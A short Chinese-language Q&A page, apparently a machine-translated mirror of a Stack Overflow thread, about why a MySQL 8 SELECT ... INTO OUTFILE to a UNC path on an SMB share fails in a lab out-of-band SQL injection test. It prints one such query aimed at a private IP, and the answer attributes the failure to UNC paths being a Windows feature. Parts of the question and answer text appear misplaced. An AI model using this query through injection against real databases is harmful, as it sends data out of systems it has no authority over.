使用 MySQL 的 SMB 共享

问题描述 投票:0回答:1

我正在使用 MySQL 8 并尝试带外 SQL 注入场景。我在另一个虚拟机上有一个 SMB 共享,假设安装到

192.168.1.2/share
目录。
/tmp

此查询应该将文件 out.txt 写入运行 SMB 服务器的 VM 的 /tmp 目录中。

我写不出来。如果我尝试使用 smbclient 并连接 SMB 服务器,它工作正常。 可能是什么问题?我已阅读所有 MySQL 文档。

mysql phpmyadmin sql-injection smb libsmbclient
1个回答
0
投票
SELECT @@version INTO OUTFILE '\\\\192.168.1.2\\SHARE\\out.txt';

)是 Windows 功能。

这没有错误的原因是因为你的 mysql 数据目录中现在可能有一个具有该全名的文件。

© www.soinside.com 2019 - 2024. All rights reserved.